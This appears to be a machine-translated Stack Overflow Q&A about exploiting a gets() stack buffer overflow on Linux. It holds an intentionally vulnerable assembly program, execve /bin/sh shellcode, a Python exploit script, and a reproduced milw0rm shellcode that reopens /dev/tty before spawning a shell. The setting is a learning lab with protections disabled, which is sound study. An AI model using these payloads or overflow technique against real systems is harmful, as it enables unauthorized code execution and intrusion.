hen*_*ing 18 security assembly buffer-overflow shellcode
我在Linux(amd64)上玩过缓冲区溢出并试图利用一个简单的程序,但它失败了.我禁用了安全功能(使用sysctl -w kernel.randomize_va_space = 0和bios中的nx位进行地址空间布局随机化).它跳转到堆栈并执行shellcode,但它不会启动shell.execve系统调用成功,但之后它就会终止.知道什么是错的吗?运行shellcode独立工作正常.
额外问题:为什么在调用printf之前需要将rax设置为零?(见代码中的评论)
易受攻击的文件缓冲区:
.data
.fmtsp:
.string "Stackpointer %p\n"
.fmtjump:
.string "Jump to %p\n"
.text
.global main
main:
push %rbp
mov %rsp, %rbp
sub $120, %rsp
# calling printf without setting rax
# to zero results in a segfault. why?
xor %rax, %rax
mov %rsp, %rsi
mov $.fmtsp, %rdi
call printf
mov %rsp, %rdi
call gets
xor %rax, %rax
mov $.fmtjump, %rdi
mov 8(%rbp), %rsi
call printf
xor %rax, %rax
leave
ret
Run Code Online (Sandbox Code Playgroud)
shellcode.s
.text
.global main
main:
mov $0x68732f6e69622fff, %rbx
shr $0x8, %rbx
push %rbx
mov %rsp, %rdi
xor %rsi, %rsi
xor %rdx, %rdx
xor %rax, %rax
add $0x3b, %rax
syscall
Run Code Online (Sandbox Code Playgroud)
exploit.py
shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05"
stackpointer = "\x7f\xff\xff\xff\xe3\x28"
output = shellcode
output += 'a' * (120 - len(shellcode)) # fill buffer
output += 'b' * 8 # override stored base pointer
output += ''.join(reversed(stackpointer))
print output
Run Code Online (Sandbox Code Playgroud)
编译:
$ gcc -o buffer buffer.s
$ gcc -o shellcode shellcode.s
Run Code Online (Sandbox Code Playgroud)
开始于:
$ python exploit.py | ./buffer
Stackpointer 0x7fffffffe328
Jump to 0x7fffffffe328
Run Code Online (Sandbox Code Playgroud)
使用gdb进行调试:
$ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb)
$ gdb buffer
(gdb) run < exploit.txt
Starting program: /home/henning/bo/buffer < exploit.txt
Stackpointer 0x7fffffffe308
Jump to 0x7fffffffe308
process 4185 is executing new program: /bin/dash
Program exited normally.
Run Code Online (Sandbox Code Playgroud)
Zen*_*noc 14
我现在在VM中使用Ubuntu 9.10时遇到了同样的问题.禁用操作系统的所有安全措施,并且"退出程序并将退出代码设置为42"这样的简单漏洞可以正常工作,但是当尝试打开shell时,程序就会终止.gdb的输出完全相同:
(gdb) run < exploit.0xbffff3b8 Starting program: /home/seminar/ubung/target/client < exploit.0xbffff3b8 Enter password: Sorry. Wrong password. Executing new program: /bin/bash Program exited normally. (gdb)
事情是,我需要它在大约工作.16小时的演讲:-D
更新:我发现了这个简洁的研究:www.shell-storm.org/papers/files/539.pdf
在页16上它说:"如果我们尝试执行一个shell,它会在此配置中立即终止"
在其他不使用gets()的示例中,它们很好地生成了一个shell.不幸的是,他们没有暗示为什么它不起作用.:(
下一次更新:它似乎与stdin有关.shell无法正确使用从原始进程获取的shell.我尝试使用最小的shell我找到了(evilsh)的源代码.它在尝试读取输入时崩溃了.我的猜测是,bash/dash会对此进行检查,并在stdin出现问题时默默地退出.
好的,请不要因为和我在这里谈话而杀了我,但......
我找到了解决方案!
由于某种原因,有必要重新打开输入.我在这里找到了一个有效的shellcode:
http://www.milw0rm.com/shellcode/2040
我没有看到一个强硬的提示,但我可以使用打开的shell运行程序等.
Zenoc 提供的链接已失效,但仍然可以在 Wayback 机器中找到。为了方便起见,我将其复制如下。我必须add $0x10,%esp在顶部包含更多堆栈空间,因为push代码中的所有 es 都会占用存储我的 shellcode 的缓冲区。如果您也想将其包含到 shellcode 中,只需在开头添加“\x83\xc4\x10”即可。没有我添加的 shellcode 为 55 个字节,添加后为 58 个字节。
/*
* $Id: gets-linux.c,v 1.3 2004/06/02 12:22:30 raptor Exp $
*
* gets-linux.c - stdin re-open shellcode for Linux/x86
* Copyright (c) 2003 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* Local shellcode for stdin re-open and /bin/sh exec. It closes stdin
* descriptor and re-opens /dev/tty, then does an execve() of /bin/sh.
* Useful to exploit some gets() buffer overflows in an elegant way...
*/
/*
* close(0)
*
* 8049380: 31 c0 xor %eax,%eax
* 8049382: 31 db xor %ebx,%ebx
* 8049384: b0 06 mov $0x6,%al
* 8049386: cd 80 int $0x80
*
* open("/dev/tty", O_RDWR | ...)
*
* 8049388: 53 push %ebx
* 8049389: 68 2f 74 74 79 push $0x7974742f
* 804938e: 68 2f 64 65 76 push $0x7665642f
* 8049393: 89 e3 mov %esp,%ebx
* 8049395: 31 c9 xor %ecx,%ecx
* 8049397: 66 b9 12 27 mov $0x2712,%cx
* 804939b: b0 05 mov $0x5,%al
* 804939d: cd 80 int $0x80
*
* execve("/bin/sh", ["/bin/sh"], NULL)
*
* 804939f: 31 c0 xor %eax,%eax
* 80493a1: 50 push %eax
* 80493a2: 68 2f 2f 73 68 push $0x68732f2f
* 80493a7: 68 2f 62 69 6e push $0x6e69622f
* 80493ac: 89 e3 mov %esp,%ebx
* 80493ae: 50 push %eax
* 80493af: 53 push %ebx
* 80493b0: 89 e1 mov %esp,%ecx
* 80493b2: 99 cltd
* 80493b3: b0 0b mov $0xb,%al
* 80493b5: cd 80 int $0x80
*/
char sc[] =
"\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80"
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
main()
{
int (*f)() = (int (*)())sc; f();
}
// milw0rm.com [2006-07-20]
Run Code Online (Sandbox Code Playgroud)
注意:我无法将此作为编辑添加到 Zenoc 的答案中,因为编辑队列已满。
如果由于终端中的堆栈不同而导致您无法确定 shellcode 的地址,请gdb查看我的答案。